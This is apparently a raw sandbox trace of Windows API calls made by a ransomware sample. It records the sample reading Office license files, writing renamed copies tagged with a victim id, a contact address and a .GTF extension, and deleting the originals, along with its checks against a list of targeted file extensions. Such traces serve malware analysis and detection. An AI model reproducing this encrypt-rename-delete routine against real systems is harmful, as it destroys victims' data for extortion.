	[0180.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0180.592] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.592] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.592] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0180.593] GetLastError () returned 0x0
	[0180.593] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2bbb, lpOverlapped=0x0) returned 1
	[0180.634] WriteFile (in: hFile=0x53c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0180.635] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.635] WriteFile (in: hFile=0x53c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0180.636] SetEndOfFile (hFile=0x53c) returned 1
	[0180.636] CloseHandle (hObject=0x53c) returned 1
	[0180.636] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.636] SetEndOfFile (hFile=0x3d4) returned 1
	[0180.639] CloseHandle (hObject=0x3d4) returned 1
	[0180.639] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0180.639] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-pl.xrm-ms")) returned 1
	[0180.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0180.640] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0180.640] lstrlenW (lpString=".doc") returned 4
	[0180.640] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.640] lstrlenW (lpString=".docx") returned 5
	[0180.640] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.640] lstrlenW (lpString=".pdf") returned 4
	[0180.640] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.640] lstrlenW (lpString=".xls") returned 4
	[0180.641] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.641] lstrlenW (lpString=".xlsx") returned 5
	[0180.641] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.641] lstrlenW (lpString=".ppt") returned 4
	[0180.641] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0180.641] lstrlenW (lpString=".zip") returned 4
	[0180.641] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.641] lstrlenW (lpString=".rar") returned 4
	[0180.641] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.641] lstrlenW (lpString=".bz2") returned 4
	[0180.641] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.641] lstrlenW (lpString=".7z") returned 3
	[0180.641] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0180.641] lstrlenW (lpString=".dbf") returned 4
	[0180.641] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0180.641] lstrlenW (lpString=".1cd") returned 4
	[0180.641] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0180.641] lstrlenW (lpString=".jpg") returned 4
	[0180.641] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0180.641] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0180.641] lstrlenW (lpString=".doc") returned 4
	[0180.641] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0180.641] lstrlenW (lpString=".docx") returned 5
	[0180.641] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0180.641] lstrlenW (lpString=".pdf") returned 4
	[0180.641] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0180.641] lstrlenW (lpString=".xls") returned 4
	[0180.641] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0180.641] lstrlenW (lpString=".xlsx") returned 5
	[0180.641] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0180.641] lstrlenW (lpString=".ppt") returned 4
	[0180.642] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0180.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0180.642] lstrlenW (lpString=".zip") returned 4
	[0180.642] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0180.642] lstrlenW (lpString=".rar") returned 4
	[0180.642] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0180.642] lstrlenW (lpString=".bz2") returned 4
	[0180.642] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0180.642] lstrlenW (lpString=".7z") returned 3
	[0180.642] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0180.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0180.642] lstrlenW (lpString=".dbf") returned 4
	[0180.642] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0180.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0180.642] lstrlenW (lpString=".1cd") returned 4
	[0180.642] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0180.642] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-pl.xrm-ms") returned 86
	[0180.642] lstrlenW (lpString=".jpg") returned 4
	[0180.642] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0180.642] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0180.642] lstrlenW (lpString="O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 40
	[0180.642] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0180.643] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11646) returned 1
	[0180.643] CloseHandle (hObject=0x3d4) returned 1
	[0180.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms")) returned 0x220
	[0180.643] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0180.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0180.644] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.644] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0180.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0180.645] GetLastError () returned 0x0
	[0180.645] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2d7e, lpOverlapped=0x0) returned 1
	[0180.889] WriteFile (in: hFile=0x53c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2d80, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2d80, lpOverlapped=0x0) returned 1
	[0180.890] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0180.890] WriteFile (in: hFile=0x53c, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x124, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x124, lpOverlapped=0x0) returned 1
	[0180.890] SetEndOfFile (hFile=0x53c) returned 1
	[0181.013] CloseHandle (hObject=0x53c) returned 1
	[0181.021] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.021] SetEndOfFile (hFile=0x3d4) returned 1
	[0181.023] CloseHandle (hObject=0x3d4) returned 1
	[0181.024] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.027] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription3-ul-oob.xrm-ms")) returned 1
	[0181.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0181.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0181.028] lstrlenW (lpString=".doc") returned 4
	[0181.028] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.028] lstrlenW (lpString=".docx") returned 5
	[0181.028] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.028] lstrlenW (lpString=".pdf") returned 4
	[0181.028] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.028] lstrlenW (lpString=".xls") returned 4
	[0181.028] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.028] lstrlenW (lpString=".xlsx") returned 5
	[0181.028] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.028] lstrlenW (lpString=".ppt") returned 4
	[0181.028] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0181.028] lstrlenW (lpString=".zip") returned 4
	[0181.028] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.028] lstrlenW (lpString=".rar") returned 4
	[0181.028] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.028] lstrlenW (lpString=".bz2") returned 4
	[0181.029] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.029] lstrlenW (lpString=".7z") returned 3
	[0181.029] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0181.029] lstrlenW (lpString=".dbf") returned 4
	[0181.029] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0181.029] lstrlenW (lpString=".1cd") returned 4
	[0181.029] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0181.029] lstrlenW (lpString=".jpg") returned 4
	[0181.029] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0181.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0181.029] lstrlenW (lpString=".doc") returned 4
	[0181.029] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.029] lstrlenW (lpString=".docx") returned 5
	[0181.029] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.029] lstrlenW (lpString=".pdf") returned 4
	[0181.029] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.029] lstrlenW (lpString=".xls") returned 4
	[0181.029] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.029] lstrlenW (lpString=".xlsx") returned 5
	[0181.029] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.029] lstrlenW (lpString=".ppt") returned 4
	[0181.029] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0181.029] lstrlenW (lpString=".zip") returned 4
	[0181.029] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.029] lstrlenW (lpString=".rar") returned 4
	[0181.029] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.029] lstrlenW (lpString=".bz2") returned 4
	[0181.029] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.029] lstrlenW (lpString=".7z") returned 3
	[0181.029] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0181.030] lstrlenW (lpString=".dbf") returned 4
	[0181.030] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0181.030] lstrlenW (lpString=".1cd") returned 4
	[0181.030] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.030] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription3-ul-oob.xrm-ms") returned 90
	[0181.030] lstrlenW (lpString=".jpg") returned 4
	[0181.030] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.030] lstrcmpiW (lpString1=".xrm-ms", lpString2=".GTF") returned 1
	[0181.030] lstrlenW (lpString="O365ProPlusR_Subscription5-pl.xrm-ms") returned 36
	[0181.030] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0181.031] GetFileSizeEx (in: hFile=0x3d4, lpFileSize=0x2d4ff14 | out: lpFileSize=0x2d4ff14*=11195) returned 1
	[0181.031] CloseHandle (hObject=0x3d4) returned 1
	[0181.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms")) returned 0x220
	[0181.031] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0181.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4
	[0181.031] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.031] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0181.032] GetLastError () returned 0x0
	[0181.032] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x2bbb, lpOverlapped=0x0) returned 1
	[0181.034] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x2bc0, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x2bc0, lpOverlapped=0x0) returned 1
	[0181.035] ReadFile (in: hFile=0x3d4, lpBuffer=0x3895020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d4fecc, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesRead=0x2d4fecc*=0x0, lpOverlapped=0x0) returned 1
	[0181.035] WriteFile (in: hFile=0x504, lpBuffer=0x3895020*, nNumberOfBytesToWrite=0x11c, lpNumberOfBytesWritten=0x2d4fc94, lpOverlapped=0x0 | out: lpBuffer=0x3895020*, lpNumberOfBytesWritten=0x2d4fc94*=0x11c, lpOverlapped=0x0) returned 1
	[0181.035] SetEndOfFile (hFile=0x504) returned 1
	[0181.035] CloseHandle (hObject=0x504) returned 1
	[0181.035] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d4fec0 | out: lpNewFilePointer=0x0) returned 1
	[0181.035] SetEndOfFile (hFile=0x3d4) returned 1
	[0181.039] CloseHandle (hObject=0x3d4) returned 1
	[0181.039] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0181.039] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365proplusr_subscription5-pl.xrm-ms")) returned 1
	[0181.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0181.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0181.040] lstrlenW (lpString=".doc") returned 4
	[0181.040] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.040] lstrlenW (lpString=".docx") returned 5
	[0181.040] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.040] lstrlenW (lpString=".pdf") returned 4
	[0181.040] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.040] lstrlenW (lpString=".xls") returned 4
	[0181.040] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.040] lstrlenW (lpString=".xlsx") returned 5
	[0181.040] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.040] lstrlenW (lpString=".ppt") returned 4
	[0181.040] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0181.040] lstrlenW (lpString=".zip") returned 4
	[0181.040] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.040] lstrlenW (lpString=".rar") returned 4
	[0181.040] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.040] lstrlenW (lpString=".bz2") returned 4
	[0181.040] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.040] lstrlenW (lpString=".7z") returned 3
	[0181.040] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0181.040] lstrlenW (lpString=".dbf") returned 4
	[0181.040] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.040] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0181.040] lstrlenW (lpString=".1cd") returned 4
	[0181.040] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0181.041] lstrlenW (lpString=".jpg") returned 4
	[0181.041] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1
	[0181.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0181.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0181.041] lstrlenW (lpString=".doc") returned 4
	[0181.041] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1
	[0181.041] lstrlenW (lpString=".docx") returned 5
	[0181.041] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1
	[0181.041] lstrlenW (lpString=".pdf") returned 4
	[0181.041] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1
	[0181.041] lstrlenW (lpString=".xls") returned 4
	[0181.041] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1
	[0181.041] lstrlenW (lpString=".xlsx") returned 5
	[0181.041] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1
	[0181.041] lstrlenW (lpString=".ppt") returned 4
	[0181.041] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1
	[0181.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0181.041] lstrlenW (lpString=".zip") returned 4
	[0181.041] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1
	[0181.041] lstrlenW (lpString=".rar") returned 4
	[0181.041] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1
	[0181.041] lstrlenW (lpString=".bz2") returned 4
	[0181.041] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1
	[0181.041] lstrlenW (lpString=".7z") returned 3
	[0181.041] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1
	[0181.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0181.041] lstrlenW (lpString=".dbf") returned 4
	[0181.041] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1
	[0181.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
	[0181.041] lstrlenW (lpString=".1cd") returned 4
	[0181.041] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1
	[0181.041] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365ProPlusR_Subscription5-pl.xrm-ms") returned 86
